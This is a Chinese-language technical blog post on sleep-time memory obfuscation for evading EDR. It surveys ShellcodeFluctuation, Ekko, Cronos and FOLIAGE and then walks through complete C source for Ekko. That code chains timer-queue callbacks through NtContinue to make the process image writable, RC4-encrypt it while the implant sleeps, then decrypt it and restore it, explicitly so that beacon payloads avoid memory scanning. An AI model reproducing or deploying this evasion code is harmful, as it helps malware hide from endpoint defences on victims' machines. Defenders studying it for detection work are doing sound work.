0x01 前言

免杀对抗已经从 文件对抗 到 行为对抗,现在演化到 内存对抗,内存对抗分为很多维度,比如内存类型是Private Memory、Mapped Memory还是Image Memory,内存中的数据是否包含已知的恶意代码,调用栈是否可疑等等,其中内存混淆是用来解决内存数据中包含已知的恶意代码

提到内存混淆技术,大家都会想到c5pider的ekko,其实ekko只是内存混淆技术发展史的一环

2021年,github @mgeeky提出了ShellcodeFluctuation技术,实现了内存睡眠时混淆,使用时解密,不过有一个缺点,至少要有一块RX内存来做这件事,做这件事的RX内存也就成了EDR的检测点

2022年,twitter @C5pider改进后提出了Ekko技术,创新性的通过CreateTimerQueueTimer,借助Windows内核实现内存的加密解密,完美规避需要一块RX内存这个特征

2022年,github @Idov31改进后提出了Cronos技术,Ekko使用的是CreateTimerQueueTimer,在EDR扫描定时器队列时易被检测到,于是改用WaitableTimer,再配合RC4加密,可以绕过针对Ekko定时器队列的检测

2022年,linkedin @Austin H.等人改进后提出了FOLIAGE技术,转变了思路改用APC,通过NtQueueApcThread + NtTestAlert实现ROP链,一度绕过大量基于定时器检测的EDR

2023年起,EDR厂商发现,检测重心是定时器或其他的ROP链,攻击者还会发明新的ROP链,于是转向另一个维度,“调用堆栈”,基于此,DreamWalkers、SilentMookwalk等技术相继被提出,实现了调用栈伪造和堆栈加密

其实,像ShellcodeFluctuation、Ekko、Cronos、FOLIAGE这类技术,属于睡眠期内存混淆技术,还有一类运行期内存混淆技术,可以实现用到哪个内存页,解密哪个内存页,最多保留3个内存页被解密,其余内存页均被加密,这样可以有效规避基于内存YARA特征的检测,比如Cobalt Strike的创造者Raphael Mudge提出的Page Streaming,不过执行效率会受到一定影响

更有甚者,实现了按指令解密,比如github @tijme提出的kong-loader,CPU每执行完一条指令,触发一次单步调试异常,VEH拦截到这个异常后,动态解密下一条指令,这样EDR每次只能看到一个指令,更加难以检测,不过这会导致运行效率低很多很多

也许免杀对抗演进的后面会用到运行时内存混淆技术,不过当前的实际攻防中,Beacon在99%的时间都是睡眠的,执行时间为毫秒级别,而且 睡眠期内存混淆技术 相对 运行期内存混淆技术 运行效率也更高,所以多数红队武器研发人员都会采用睡眠期内存加密技术,本文基于Ekko,将睡眠期内存加密技术讲清楚,从技术细节,到代码实现

0x02 技术细节

如果一块RX内存都不留,还要做加密解密操作,自身是无法实现的,就需要借助外界的进程(线程)来做这件事,这里借助的是Windows定时器队列(Windows Timer Queue)

想掌握技术细节,需要依次掌握下面几个概念

CONTEXT结构体

在 Windows 操作系统中,CONTEXT 结构体是一个极其核心的底层数据结构。它本质上是 CPU 寄存器在内存中的一份完整镜像。

当系统进行线程切换、发生异常(Exception),或者像 EKKO 技术这样进行线程劫持时,Windows 都会把当前 CPU 的所有寄存器状态(如当前执行到哪行代码、栈顶在哪里、通用寄存器里存了什么)打包存入一个 CONTEXT 结构体中。

由于不同的 CPU 架构(如 x86、x64、ARM)拥有完全不同的寄存器,因此 CONTEXT 结构体在不同的架构下原型是完全不同的。

下面重点展示 x64 (AMD64) 架构下的 CONTEXT 结构体原型,在 Windows SDK 的 WinNT.h 头文件中,x64 架构的 CONTEXT 完整定义如下(为了便于阅读,已省略部分对齐填充和不常用的调试寄存器)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
typedef struct DECLSPEC_ALIGN(16) _CONTEXT {
// 1. 控制标志:决定了当下这个结构体里哪些寄存器数据是有效的
DWORD ContextFlags;

// 2. 调试寄存器 (Debug Registers)
DWORD Dr0;
DWORD Dr1;
DWORD Dr2;
DWORD Dr3;
DWORD Dr6;
DWORD Dr7;

// 3. 段寄存器 (Segment Registers)
WORD SegCs;
WORD SegDs;
WORD SegEs;
WORD SegFs;
WORD SegGs;
WORD SegSs;
DWORD EFlags;

// 4. 通用寄存器 (整数寄存器 - Integer Registers)
// EKKO 技术中重点伪造和利用的就是这一部分
DWORD64 Rax;
DWORD64 Rcx; // EKKO 用来传参数 1 (如 ImageBase)
DWORD64 Rdx; // EKKO 用来传参数 2 (如 ImageSize)
DWORD64 Rbx;
DWORD64 Rsp; // 栈指针寄存器:指向当前线程的栈顶
DWORD64 Rbp;
DWORD64 Rsi;
DWORD64 Rdi;
DWORD64 R8; // EKKO 用来传参数 3 (如 PAGE_READWRITE)
DWORD64 R9; // EKKO 用来传参数 4 (如 &OldProtect)
DWORD64 R10;
DWORD64 R11;
DWORD64 R12;
DWORD64 R13;
DWORD64 R14;
DWORD64 R15;

// 5. 指令寄存器 (Instruction Pointer)
// 指向当前 CPU 要执行的指令地址
DWORD64 Rip;

// 6. 浮点与流式 SIMD 扩展寄存器 (Floating Point / MMX / SSE)
union {
XMM_SAVE_AREA32 FltSave;
struct {
M128A Header[2];
M128A Legacy[8];
M128A Xmm0;
M128A Xmm1;
...
M128A Xmm15;
} DUMMYSTRUCTNAME;
} DUMMYUNIONNAME;

M128A VectorRegister[26];
DWORD64 VectorControl;

// 7. 特殊控制寄存器
DWORD64 DebugControl;
DWORD64 LastBranchToRip;
DWORD64 LastBranchFromRip;
DWORD64 LastExceptionToRip;
DWORD64 LastExceptionFromRip;
} CONTEXT, *PCONTEXT;

RtlCaptureContext

用于捕获当前CPU各寄存器的值到结构体CONTEXT中,包括RIP寄存器、RCX寄存器、RDX寄存器、R8寄存器、R9寄存器、等等,熟悉汇编的人会立刻想到,在x64系统中,RIP存储下一条要执行的指令,RCX、RDX、R8、R9分别存储前4个参数

NtContinue

用于读取结构体CONTEXT中的值,恢复到各个寄存器,其中就包括RIP寄存器,也就是说程序的执行流程会变为恢复后RIP指向的函数

SystemFunction032

使用Advapi32.dll中的未导出函数 SystemFunction032 实现加解密,它底层实现的是RC4加密算法,这是一种对称加密

CreateTimerQueueTimer

用于创建一个基于线程池的定时器,就是说,创建好定时器后,由Windows内核调用线程池中的线程来执行,不需要程序自身执行,也就对应最初的理念,一块RX内存都不需要实现内存的加密解密

1
2
3
4
5
6
7
8
9
BOOL CreateTimerQueueTimer(
[out] PHANDLE phNewTimer, // 接收定时器句柄
[in, optional] HANDLE TimerQueue, // 定时器队列句柄
[in] WAITORTIMERCALLBACK Callback, // 回调函数指针
[in, optional] PVOID Parameter, // 回调函数参数
[in] DWORD DueTime, // 首次到期时间 (毫秒)
[in] DWORD Period, // 后续周期 (毫秒)
[in] ULONG Flags // 执行选项标志
);

第1个参数是输出参数,接收这个API返回的句柄
第2个参数,默认值为NULl,表示使用系统默认的定时器队列,但手动创建一个队列,可以避免和队列中的其他定时器冲突,更好一些
第3个参数,定时器到期时,要执行的回调函数
第4个参数,回调函数的参数
第5个参数,定时器首次到期的时间,单位毫秒
第6个参数,定时器执行周期,每隔多久执行一次,单位毫秒,设为0仅执行1次
第7个参数,控制回调函数被执行的标志,可以先不管

0x03 代码实现

Ekko.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#ifndef EKKO_EKKO_H
#define EKKO_EKKO_H

#include <windows.h>

typedef struct
{
DWORD Length;
DWORD MaximumLength;
PVOID Buffer;
} USTRING ;

VOID EkkoObf( DWORD SleepTime );

#endif

通过#ifndef实现头文件保护,功能类似#pragma once
定义一个结构体,声明一个函数

Common.h

1
2
3
4
5
6
7
8
9
10
11
#ifndef EKKO_COMMON_H
#define EKKO_COMMON_H

#include <windows.h>
#include <stdio.h>

#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define NtCurrentThread() ( ( HANDLE ) ( LONG_PTR ) -2 )
#define NtCurrentProcess() ( ( HANDLE ) ( LONG_PTR ) -1 )

#endif

通过#ifndef实现头文件保护,功能类似#pragma once
定义几个函数宏

Main.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <Common.h>
#include <Ekko.h>

int main( )
{
puts( "[*] Ekko Sleep Obfuscation by C5pider" );

do
// Start Sleep Obfuscation
EkkoObf( 4 * 1000 );
while ( TRUE );

return 0;
}

主函数

Ekko.c

代码被我稍微排版了下,方便阅读

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#include <Common.h>
#include <Ekko.h>

VOID EkkoObf( DWORD SleepTime )
{
// 初始化头文件中定义的结构体
// 定义加密密钥,存入结构体Key中
USTRING Key = { 0 };
CHAR KeyBuf[16] = { 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 };
Key.Length = 16;
Key.MaximumLength = 16;
Key.Buffer = KeyBuf;

// 初始化头文件中定义的结构体
// 获取当前进程在内存中的首地址及大小,存入结构体Img中
USTRING Img = { 0 };
PVOID ImageBase = NULL;
DWORD ImageSize = 0;
ImageBase = GetModuleHandleA( NULL );
ImageSize = ( ( PIMAGE_NT_HEADERS ) ( ImageBase + ( ( PIMAGE_DOS_HEADER ) ImageBase )->e_lfanew ) )->OptionalHeader.SizeOfImage;
Img.Length = ImageSize;
Img.MaximumLength = ImageSize;
Img.Buffer = ImageBase;

// 动态获取NtContinue和SystemFunction032的地址
// 有的同学可能会问,为什么后面的RtlCaptureContext不用动态获取,因为RtlCaptureContext相对更无害,允许它出现在PE导入表中
PVOID NtContinue = NULL;
PVOID SysFunc032 = NULL;
NtContinue = GetProcAddress( GetModuleHandleA( "Ntdll" ), "NtContinue" );
SysFunc032 = GetProcAddress( LoadLibraryA( "Advapi32" ), "SystemFunction032" );

// 存储当前CPU的寄存器状态
CONTEXT CtxThread = { 0 };

// 整个内存加密流程涉及:修改内存权限为RX、加密、解密、修改内存权限为RW,每个步骤需要一个函数执行,每个函数设置自己的CPU寄存器值,通过NtContinue恢复寄存器后执行
CONTEXT RopProtRW = { 0 };
CONTEXT RopMemEnc = { 0 };
CONTEXT RopDelay = { 0 };
CONTEXT RopMemDec = { 0 };
CONTEXT RopProtRX = { 0 };
CONTEXT RopSetEvt = { 0 };

// 调用CreateTimerQueueTimer创建定时器,借助线程池中的线程执行RtlCaptureContext,捕获当前CPU中寄存器的状态,存入CtxThread
HANDLE hTimerQueue = NULL;
HANDLE hNewTimer = NULL;
HANDLE hEvent = NULL;
DWORD OldProtect = 0;
hEvent = CreateEventW( 0, 0, 0, 0 );
hTimerQueue = CreateTimerQueue();
if ( CreateTimerQueueTimer( &hNewTimer, hTimerQueue, RtlCaptureContext, &CtxThread, 0, 0, WT_EXECUTEINTIMERTHREAD ) )
{
// 调用WaitForSingleObject等待0x32毫秒,给RtlCaptureContext留出时间捕获
WaitForSingleObject( hEvent, 0x32 );

// 同样的CtxThread拷贝6份
memcpy( &RopProtRW, &CtxThread, sizeof( CONTEXT ) );
memcpy( &RopMemEnc, &CtxThread, sizeof( CONTEXT ) );
memcpy( &RopDelay, &CtxThread, sizeof( CONTEXT ) );
memcpy( &RopMemDec, &CtxThread, sizeof( CONTEXT ) );
memcpy( &RopProtRX, &CtxThread, sizeof( CONTEXT ) );
memcpy( &RopSetEvt, &CtxThread, sizeof( CONTEXT ) );

// 第1份拷贝调用VirtualProtect
// VirtualProtect( ImageBase, ImageSize, PAGE_READWRITE, &OldProtect );
RopProtRW.Rsp -= 8;
RopProtRW.Rip = VirtualProtect;
RopProtRW.Rcx = ImageBase;
RopProtRW.Rdx = ImageSize;
RopProtRW.R8 = PAGE_READWRITE;
RopProtRW.R9 = &OldProtect;

// 第2份拷贝用于加密
// SystemFunction032( &Key, &Img );
RopMemEnc.Rsp -= 8;
RopMemEnc.Rip = SysFunc032;
RopMemEnc.Rcx = &Img;
RopMemEnc.Rdx = &Key;

// 将加密状态保持一段时间
// WaitForSingleObject( hTargetHdl, SleepTime );
RopDelay.Rsp -= 8;
RopDelay.Rip = WaitForSingleObject;
RopDelay.Rcx = NtCurrentProcess();
RopDelay.Rdx = SleepTime;

// 解密
// SystemFunction032( &Key, &Img );
RopMemDec.Rsp -= 8;
RopMemDec.Rip = SysFunc032;
RopMemDec.Rcx = &Img;
RopMemDec.Rdx = &Key;

// 修改权限
// VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect );
RopProtRX.Rsp -= 8;
RopProtRX.Rip = VirtualProtect;
RopProtRX.Rcx = ImageBase;
RopProtRX.Rdx = ImageSize;
RopProtRX.R8 = PAGE_EXECUTE_READWRITE;
RopProtRX.R9 = &OldProtect;

// 设置事件,触发WaitForSingleObject
// SetEvent( hEvent );
RopSetEvt.Rsp -= 8;
RopSetEvt.Rip = SetEvent;
RopSetEvt.Rcx = hEvent;

puts( "[INFO] Queue timers" );

// 线程池中的线程在 100ms 时帮我们改了权限,200ms 时帮我们加了密,300ms 时睡眠,400ms时解密,500ms时改权限,600ms时触发WaitForSingleObject让线程继续执行
CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD );
CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD );
CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD );
CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD );
CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD );
CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD );

puts( "[INFO] Wait for hEvent" );
WaitForSingleObject( hEvent, INFINITE );
puts( "[INFO] Finished waiting for event" );
}

DeleteTimerQueue( hTimerQueue );
}

需要注意,上述代码并不是工程中可用的,仅为Demo代码

加密解密函数SystemFunction032需要的参数是结构体类型,首先对结构体进行初始化,要加密的内存首地址、内存大小、加密的密钥、密钥大小

通过GetProcAddress动态获取NtContinue和SystemFunction032的地址

调用CreateTimerQueueTimer创建定时器,借助线程池中的线程执行RtlCaptureContext,捕获当前CPU中寄存器的状态,存入CtxThread

调用WaitForSingleObject等待0x32毫秒,给RtlCaptureContext留出时间捕获

同样的CtxThread拷贝6份,第1份拷贝修改权限为RW,第2份拷贝执行加密,第3份拷贝等待一会,第4份拷贝解密,第5份拷贝修改权限为RX,第6份拷贝设置事件触发WaitForSingleObject继续执行主线程

最终,线程池中的线程在 100ms 时帮我们改了权限,200ms 时帮我们加了密,300ms 时睡眠,400ms时解密,500ms时改权限,600ms时触发WaitForSingleObject让线程继续执行

0x04 尾语

本文并未深入到工程层面去讲解睡眠混淆技术,更多面向初学者如何搞懂睡眠混淆,其中也掺杂着自己的理解,如有错误之处,请指正,其他的睡眠期内存混淆技术根本上同理,仅调用的API、实现方式不同